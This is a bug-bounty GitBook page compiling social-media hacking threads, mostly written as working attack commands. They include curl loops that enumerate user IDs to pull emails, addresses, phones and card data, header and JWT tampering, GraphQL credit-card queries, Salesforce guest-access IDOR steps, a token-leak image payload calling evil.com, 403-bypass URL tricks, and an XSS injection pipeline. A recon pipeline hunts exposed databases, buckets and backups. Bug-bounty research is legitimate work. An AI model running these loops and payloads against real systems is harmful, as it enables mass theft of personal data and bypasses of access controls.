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Bug Bounty - GitBook

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🛠️ Mass PII Exposure Exploitation Guide (Advanced) A step-by-step blueprint to find mass PII leaks in companies (and why 95% of hackers MISS them). Ready? Let’s go — 🧵 ⸻ #2 🔥 Step 1: Identify Target Endpoints Look for sensitive routes: •/account •/checkout •/billing •/payment •/orders •/api/user •/api/profile •/customer/* ✅ Tools: waybackurls http://target.com | grep -Ei '(account|checkout|billing|payment|orders|invoice|api/user|api/profile|customer)' gau http://target.com | grep -Ei '(account|checkout|billing|payment|orders|invoice|api/user|api/profile|customer)' ⸻ #3 🔥 Step 2: Check for Unauthenticated Access Before login, test: curl -i https://target.com/account curl -i https://target.com/api/user Look for: •200 OK (bad ➔ data leaks) •403/401 (expected) 👉 If 200 OK + data ➔ Vulnerable ⸻ #4 🔥 Step 3: Bruteforce User IDs (IDOR) If API like /api/user/{user_id} exists: ✅ Bruteforce: for id in $(seq 1 1000); do curl -s "https://target.com/api/user/$id" | grep -iE "(email|address|phone|card)" done If no auth needed ➔ Jackpot 💥 ⸻ #5 🔥 Step 4: Header Manipulation APIs like /api/user/me often trust headers. ✅ Example: curl -H "X-User-ID: 2" https://target.com/api/user/me Or tamper JWT tokens manually (IDOR via token switching). ⸻ #6 🔥 Step 5: Parameter Pollution Attack If app accepts multi-user_id parameters: https://target.com/checkout?user_id=2&user_id=1 ✅ Try injecting another user_id. Sometimes backend uses first, sometimes last parameter — causing auth bypass! ⸻ #7 🔥 Step 6: Exploit GraphQL Endpoints (Optional) If target uses GraphQL: ✅ Query sensitive fields: { user(id: 1){ name email address phone creditCard } } If no auth required ➔ Total PII dump. ⸻ #8 🔥 Step 7: Chain with Public Sensitive Files After leaking emails: ✅ Search public uploads: waybackurls http://target.com | grep -Ei '\.(pdf|doc|docx|csv|xls)' Often invoices, receipts, user exports are exposed without auth. Goldmine. ⸻ #9 🏴‍☠️ Final Checklist Before Reporting ✅ Did you access someone else’s data? ✅ Was authentication missing? ✅ Can you enumerate users easily? ✅ Can you download invoices/receipts? If yes ➔ HIGH impact vulnerability. ⸻ #10 📢 How to Write the Exploit PoC Title: Mass PII Exposure via Unauthenticated API Summary: /api/user/{user_id} returns full PII without auth. Steps: 1.Visit https://target.com/api/user/1 2.Receive: { "name": "John Doe", "email": "john@example.com", "address": "123 Main St", "card_last4": "4242" } 3.Increment user_id to leak 1000s of users. ⸻ #11 ⚡ Impact: •GDPR Violation •PCI-DSS Violation •$20M+ Fines •Class-action lawsuits •Permanent brand damage ⸻ #12 👀 Want the FULL private PDF version of this guide? (with bonus tricks: Shodan dorks, JWT tampering, cache poisoning, API fuzzing…) 📩 DM me ‘PDF’ on Instagram! 📸 IG: @TheMsterDoctor1 🧠 Let’s level up together.

@TheMsterDoctor1 Advanced Salesforce Help Desk Misconfiguration Hunting Guide 1. Subdomain & Asset Discovery Use passive and active enumeration to discover potential Salesforce-based help desk instances: # Passive discovery amass enum -d http://target.com assetfinder --subs-only http://target.com gau http://target.com | grep -Ei 'salesforce|force\.com' # Certificate transparency curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | grep -Ei 'salesforce|helpdesk' Target patterns: *.lightning.force.com *.my.salesforce.com http://support.target.com http://helpdesk.target.com 2. URL & Endpoint Mapping Map common Salesforce community and help desk paths. Focus on: Case detail pages Guest user views Password reset tokens File attachments Known endpoints: /500/o (Case object) /apex/CaseDetail /apex/CaseAttachment /s/case/* (Experience Cloud) /sfsites/c/* (Community portals) Scan with: ffuf -u https://target.lightning.force.com/FUZZ -w common-salesforce.txt 3. Guest Access Exploitation Salesforce sometimes allows guest profiles to access objects (like Cases or Attachments) due to poor ACL (Access Control List) configurations. Submit a ticket as guest. Get the ticket ID from the response (500xxxxxxxxxxxx). Attempt direct access: https://[subdomain].my.salesforce.com/500xxxxxxxxxxxx Change the ID incrementally or use predictable patterns to attempt IDOR: for i in {100..110}; do curl -s "https://[target]/5005x0000ABC00$i"; done Check response for: Full name Email Internal staff comments Attached files Internal object relationships 4. Privilege Escalation via Metadata Exposure Accessing certain endpoints as a guest or low-privilege user may reveal: Apex controller logic Misconfigured VF pages (/apex/PageName) Metadata API leaks Workflow logic that could be abused Use this endpoint to gather metadata: GET /services/data/vXX.X/sobjects Authorization: Bearer <token> Also, inspect /sfsites/aura for: Component definitions Undocumented Apex methods Open object bindings 5. Account Takeover (ATO) Vectors Explore these scenarios: Token-based password reset: URL: https://[domain]/secur/forgotpassword.jsp Manipulate the un or username parameter Check if token is leaked via response or timing attacks Auth bypass with session cookies: Replay authenticated sessions across subdomains. Test for SameSite=None misconfigurations. Login CSRF or Oauth misconfig: Abuse Salesforce's social login or connected apps. Test for redirect_uri misvalidation. 6. Attachments & PII Leaks When accessing case records, Salesforce may expose: PDF/CSV attachments Uploaded images Internal documentation Try this pattern: https://[target].my.salesforce.com/sfc/servlet.shepherd/document/download/<docID> If open, these endpoints may allow full PII leaks. 7. Automation and Detection Use Burp Suite with custom intruder payloads for IDOR brute-forcing. Monitor JavaScript files (especially from /resource) for hardcoded API endpoints. Implement JS analysis: http://linkfinder.py -i https://[target]/resource/salesforce.js -o cli Bonus: Tools & Payloads SalesforceScraper – automates object enumeration (private scripts often used in red teaming). Burp BApp: Salesforce Lightning Analyzer – parses component calls and VF pages. Payload for token leakage testing: <img src="https://evil.com/?leak=${!Case.ContactEmail}" />

Here’s the Ultimate Advanced Recon Methodology (2025) designed to maximize critical findings and $100k+ bounty payouts. This combines automation, deep OSINT, misconfig scanning, live data harvesting, and endpoint fuzzing across massive orgs. [0] Preparation: Scope & Strat •Pull All Programs from HackerOne, Bugcrowd, Synack, Intigriti, YesWeHack. •Prioritize Targets: •High-traffic SaaS, banks, gov, insurance, medical, e-commerce. •Public programs with poor reports / no kudos payout history = GOLD. •Use these tools across all your recon: •gau, waybackurls, subfinder, amass, httpx, ffuf, nuclei, xnLinkFinder, hakrawler, ParamSpider, Interlace. ⸻ [1] Subdomain & ASN Recon subfinder -d http://target.com -all -silent > all-subs.txt amass enum -d http://target.com -active >> all-subs.txt findomain -t http://target.com >> all-subs.txt sort -u all-subs.txt > domains.txt Expand scope via: •ASN ranges: http://bgp.he.net, whois, http://ipinfo.io/org •GitHub scraping: http://github-subdomains.py -d http://target.com -t GITHUB_TOKEN [2] Historical File Mining cat domains.txt | waybackurls | grep -Ei '\.(zip|sql|csv|env|conf|json|yml|xls|xlsx|log|bak|gz)' > wayback-files.txt cat domains.txt | gau | grep -Ei '\.(zip|sql|env|conf|...)' > gau-files.txt sort -u wayback-files.txt gau-files.txt > sensitive.txt Then validate: cat sensitive.txt | httpx -mc 200,403 -silent > live-sensitive.txt Target: backups, DBs, logs, staging files, exports, misconfigs. ⸻ [3] Hidden API Discovery + Swagger Exploits gau http://target.com | grep -i swagger > swagger.txt nuclei -l swagger.txt -t exposed-panels/swagger-api.yaml Then: •Use ffuf/dirsearch to brute /api/, /internal/, /v1/, /debug/ •Pass jwt, api_key, or nothing to test auth bypass. ⸻ [4] JS & Param Spidering for Logic Bugs subjs -i domains.txt > jsfiles.txt cat jsfiles.txt | while read url; do curl -s "$url" | grep -Eo '\/[a-zA-Z0-9_\/\-]+\.php|\.js|\.json|\.do'; done > endpoints.txt xnLinkFinder -i jsfiles.txt -o found.txt Then hunt: ffuf -w wordlists/params.txt -u 'https://target.com/page.php?FUZZ=test' -mc 200 Findings: IDOR, auth bypass, unvalidated redirects, PII dumps. ⸻ [5] Open Cloud Asset & DB Dump Recon shodan search 'product:"MongoDB" org:"Target Inc"' zoomeye search 'app:"ElasticSearch" domain:"http://target.com"' http://binaryedge.io scan domains Also: python3 cloud_enum.py -k target aws s3 ls s3://target-public/ --no-sign-request Target: DBs with email/phone/password, backup buckets, internal snapshots. ⸻ [6] Fuzzing Deeply on API & Legacy Subdomains ffuf -u https://api.target.com/FUZZ -w api-wordlist.txt -mc 200,403 ffuf -u https://staging.target.com/FUZZ -w raft-large-directories.txt -x ".zip" -t 80 Try: •/leads/, /export/, /private/, /users.json, /download?file= •Suffixes: .old, .bak, .1, .2021, .swp, .zip ⸻ [7] Nuclei + Custom Templates nuclei -l live-sensitive.txt -t cves/,exposures/,misc/ -severity high,critical -o findings.txt Create your own templates for: •Open zip file leaks •Exposed .git, .env, .DS_Store, .idea/ •Swagger files exposing full schemas ⸻ [8] Mass Auto Screenshot + Index Check gowitness file -f live-sensitive.txt --threads 50 Also: katana -list domains.txt -jc -d 10 -silent -o spidered.txt Look for: dashboard leaks, dev interfaces, localhost exposures. ⸻ [9] Bonus Tools & Automation •Interlace — run tools per host in parallel •reconFTW — full recon pipeline •ProjectDiscovery's uncovered tools — dnsx, mapcidr, uncover ⸻ [10] Focus on What Pays: High Impact Vulns Target: •Full unauth access to sensitive data •Credential leakage in backup or zip files •Misconfigured Swagger APIs & dev environments •Leaky DBs (Mongo, Redis, Elasticsearch) •IDOR and logic flaws in new endpoints ⸻ Final Advice: Keep a target vault: ongoing recon files for every scope. Check program changelogs for new in-scope assets. Monitor GitHub, uploads, buckets,

# Bypass 403 (Forbidden) 1. Using "X-Original-URL" header
GET /admin HTTP/1.1
Host: http://target.com
Try this to bypass
GET /anything HTTP/1.1
Host: http://target.com
X-Original-URL: /admin
2. Appending %2e after the first slash
http://target.com/admin => 403
Try this to bypass
http://target.com/%2e/admin => 200
3. Try add dot (.) slash (/) and semicolon (;) in the URL
http://target.com/admin => 403
Try this to bypass
http://target.com/secret/. => 200
http://target.com//secret// => 200
http://target.com/./secret/.. => 200
http://target.com/;/secret => 200
http://target.com/.;/secret => 200
http://target.com//;//secret => 200
4. Add "..;/" after the directory name
http://target.com/admin
Try this to bypass
http://target.com/admin..;/
5. Try to uppercase the alphabet in the url
http://target.com/admin
Try this to bypass
http://target.com/aDmIN
6. Via Web Cache Poisoning
GET /anything HTTP/1.1
Host: http://victim.com
X­-Original-­URL: /admin

Go & give hit for next

🔥 ADVANCED BUG BOUNTY RECON PLAYBOOK (2025) — FULL THREAD Most hackers only touch the surface. The real $$$ is in DEEP RECON. Here’s my ULTIMATE RECON PIPELINE for catching bugs everyone else misses (bookmark this): ⸻ 1️⃣ SCOPE REVIEW 🌍 Know your boundaries → authorized assets only. Scope: *.target.com This will save you from wasting time and avoid legal issues. ⸻ 2️⃣ SUBDOMAIN ENUMERATION 🧹 Tools: bbot, subfinder, amass bbot -d http://target.com subfinder -d http://target.com -o subfinder.txt amass enum -d http://target.com -o amass.txt cat *.txt | sort -u > subdomains.txt Combo hits hard → passive + active = MAX coverage. ⸻ 3️⃣ ALIVE CHECK ⚡ Tools: httpx cat subdomains.txt | httpx -silent -o alive.txt Focus only on live hosts = speed & efficiency. ⸻ 4️⃣ CRAWL ALIVE DOMAINS 🕷️ Tools: katana katana -list alive.txt -o endpoints.txt Find hidden paths + endpoints = more attack surface. ⸻ 5️⃣ SCREENSHOT EVERYTHING 📸 Tools: eyewitness eyewitness --web -f alive.txt --threads 10 -d screenshots Quickly spot interesting or juicy targets visually. ⸻ 6️⃣ AUTOMATED VULN SCAN (N-QUBE) 🚨 Tools: nuclei, nmap, nikto cat alive.txt | nuclei -t templates/ -o nuclei.txt nmap -sVC -T4 -iL alive.txt -oN nmap.txt nikto -h alive.txt -output nikto.txt Automated checks for known bugs + services = fast wins. ⸻ 7️⃣ TECH STACK FINGERPRINTING 🔬 Tools: wappalyzer, builtwith, whatruns Identify frameworks, CMS, CDN, and libraries → for targeted exploits. ⸻ 8️⃣ FINDING LOW-HANGING FRUITS 🍯 Tools: subzy, socialhunter subzy run --targets alive.txt socialhunter -f alive.txt Subdomain takeover + Broken Link Hijacking → very critical. ⸻ 9️⃣ URL GATHERING + PARAM DISCOVERY 🌐 Tools: waybackurls, gau, paramspider cat alive.txt | waybackurls | tee -a urls.txt cat alive.txt | gau | tee -a urls.txt paramspider -d http://target.com -o params.txt Old, forgotten URLs are gold → often unpatched. ⸻ 10️⃣ GOOGLE DORKING 🧙 site:http://target.com ext:sql site:http://target.com ext:bak site:http://target.com inurl:admin Hidden files, configs, backups → easy targets. ⸻ 11️⃣ GITHUB RECON 🗂️ "http://target.com" in GitHub Exposed API keys, passwords, configs → all common in dev mistakes. ⸻ BONUS → XSS / LFI / SQLi PARAMETER HUNT 🎯 Tools: gf, qsreplace, curl gf xss urls.txt | qsreplace '"><script>alert(1)</script>' | httpx -silent Test params → MASSIVE results in bug bounty. ⸻ If you run this end-to-end → you’re ahead of 90% of hunters. Recon + Automation + Low hanging fruit = $$$. ⸻ RT & Follow @TheMasterDoctor1 for more ADVANCED hacking blueprints. Will drop Part 2 (Private Recon OSINT + Stealth Recon) if this hits 500 ❤️

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Definitely read this.

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